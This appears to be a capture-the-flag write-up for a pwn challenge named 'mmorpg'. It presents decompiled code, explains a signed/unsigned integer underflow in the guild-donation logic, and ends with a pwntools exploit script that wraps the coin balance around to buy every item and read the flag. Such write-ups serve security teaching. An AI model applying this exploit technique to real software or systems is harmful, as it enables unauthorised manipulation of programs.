mmorpg
Overview

mmorpg

January 12, 2026
1 min read
1

mmorpg

Category
pwn
Files
mmorpg
Description
I love mmorpg!!

Inspecting the binary with checksec:

Terminal window
checksec mmorpg
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

The binary is a 64-bit ELF with all protections enabled (Full RELRO, Canary, NX, PIE).

Program Analysis

The program is a simple RPG shop simulation. We start with 1000 coins and can buy equipment or donate to a guild. To get the flag, we need to purchase all five legendary items, but their total cost far exceeds our initial balance.

Looking at the decompiled source:

undefined8 main(void)
{
int iVar1;
undefined8 uVar2;
long in_FS_OFFSET;
uint local_12c;
int local_128;
int local_124;
FILE *local_120;
char local_118 [264];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_12c = 1000;
setup_game();
display_title();
do {
printf("Your coins : %d\n",(ulong)local_12c);
printf("1. Equipment shop\n2. Complete purchase\n3. Donate to guild\n> ");
__isoc99_scanf(&DAT_0010224d,&local_124);
puts("");
if (local_124 == 1) {
purchase_equipment(&local_12c);
}
else if (local_124 == 2) {
if ((((shadow != 0) && (abyss != 0)) && (dragon != 0)) && ((celestial != 0 && (phantom != 0)) )
) {
local_120 = fopen("flag.txt","r");
if (local_120 == (FILE *)0x0) {
puts("Flag file missing!");
uVar2 = 0xffffffff;
}
else {
fgets(local_118,0x100,local_120);
fclose(local_120);
printf("Here is your flag : %s\n",local_118);
uVar2 = 0x539;
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return uVar2;
}
puts("Fail!");
}
else if (local_124 == 3) {
printf("How much do you want to donate?\n> ");
__isoc99_scanf(&DAT_0010224d,&local_128);
iVar1 = local_128;
if (local_128 < 0) {
iVar1 = 0;
}
local_12c = local_12c - iVar1;
}
puts("");
} while( true );
}
void setup_game(void)
{
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdin,(char *)0x0,2,0);
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
alarm(0x3c);
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void display_title(void)
{
long lVar1;
long in_FS_OFFSET;
lVar1 = *(long *)(in_FS_OFFSET + 0x28);
puts(" __ __ __ __ ___ ____ ____ ____ ");
puts(" | \\/ | \\/ |/ _ \\| _ \\| _ \\ / ___|");
puts(" | |\\/| | |\\/| | | | | |_) | |_) | | _ ");
puts(" | | | | | | | |_| | _ <| _ <| |_| |");
puts(" |_| |_|_| |_|\\___/|_| \\_\\_| \\_\\\\____|");
puts(" ");
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
undefined4 purchase_equipment(int *param_1)
{
long in_FS_OFFSET;
undefined4 local_18;
undefined4 local_14;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
local_14 = 0;
puts("1. Shadowweave Plate [400446]");
puts("2. Abyssal Guardian Set [1650]");
puts("3. Dragonlord\'s Regalia [20450]");
puts("4. Celestial Light Armor [42847]");
puts("5. Phantom Veil Cloak [950]");
printf("Choose what you want to buy : ");
__isoc99_scanf(&DAT_001021df,&local_18);
switch(local_18) {
default:
local_14 = 0;
break;
case 1:
local_14 = 400446;
if (400445 < *param_1) {
shadow = 1;
*param_1 = *param_1 + -400446;
}
break;
case 2:
local_14 = 1650;
if (1649 < *param_1) {
abyss = 1;
*param_1 = *param_1 + -1650;
}
break;
case 3:
local_14 = 20450;
if (20449 < *param_1) {
dragon = 1;
*param_1 = *param_1 + -20450;
}
break;
case 4:
local_14 = 0xa75f;
if (0xa75e < *param_1) {
celestial = 1;
*param_1 = *param_1 + -0xa75f;
}
break;
case 5:
local_14 = 0x3b6;
if (0x3b5 < *param_1) {
phantom = 1;
*param_1 = *param_1 + -0x3b6;
}
}
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return local_14;
}

The vulnerability is in the “Donate to guild” section of main():

else if (local_124 == 3) {
printf("How much do you want to donate?\n> ");
__isoc99_scanf("%d", &local_128); // local_128 is a signed int
iVar1 = local_128;
if (local_128 < 0) {
iVar1 = 0;
}
local_12c = local_12c - iVar1; // local_12c is an unsigned int
}

The variable local_12c (our coins) is a uint (32-bit unsigned), but the donation amount iVar1 is a signed int. While there’s a check to prevent negative donations, there’s no check to see if we’re donating more than we actually have.

If we donate 1001 coins, local_12c will underflow: 1000 - 1001 = 0xffffffff (4,294,967,295)

However, simply having 0xffffffff coins isn’t enough. In purchase_equipment(), the check for whether we can afford an item treats our balance as a signed integer:

case 1:
local_14 = 400446;
if (400445 < *param_1) { // *param_1 is int*
shadow = 1;
*param_1 = *param_1 + -400446;
}
break;

In a signed 32-bit integer context, 0xffffffff is actually -1. Since -1 is not greater than 400445, the purchase fails.

Exploitation

To bypass this, we need to underflow the balance even further until it wraps back into the positive signed range (0 to 2,147,483,647).

We can achieve this by donating large amounts multiple times:

  1. Start: 1000 (0x000003e8)
  2. Donate 1001: 0xffffffff (Signed: -1)
  3. Donate 2147483647 (0x7fffffff): 0xffffffff - 0x7fffffff = 0x80000000 (Signed: -2147483648)
  4. Donate 1: 0x80000000 - 1 = 0x7fffffff (Signed: 2147483647)

Now our balance is 0x7fffffff, which is the maximum possible positive signed 32-bit integer. This is more than enough to buy every item in the shop.

Exploit Script

from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
set follow-fork-mode parent
set follow-exec-mode same
continue
'''.format(**locals())
exe = './mmorpg'
elf = context.binary = ELF(exe, checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)
def loglibc(): log.success('libc addr = %#x' % libc.address)
def logbase(): log.success('pie addr = %#x' % elf.address)
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Lib-C library, can use pwninit/patchelf to patch binary
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.27.so")
offset = 72
io = start()
def menu(choice):
sla(b'> ', str(choice).encode())
def buy(item):
menu(1)
sla(b'buy : ', str(item).encode())
def donate(amount):
menu(3)
sla(b'> ', str(amount).encode())
# 1. Underflow coins into positive signed range
donate(1001) # 0xffffffff (-1)
donate(2147483647) # 0x80000000 (-2147483648)
donate(1) # 0x7fffffff (2147483647)
# 2. Buy everything
for i in range(1,6):
buy(i)
# 3. Complete purchase to get flag
menu(2)
io.interactive()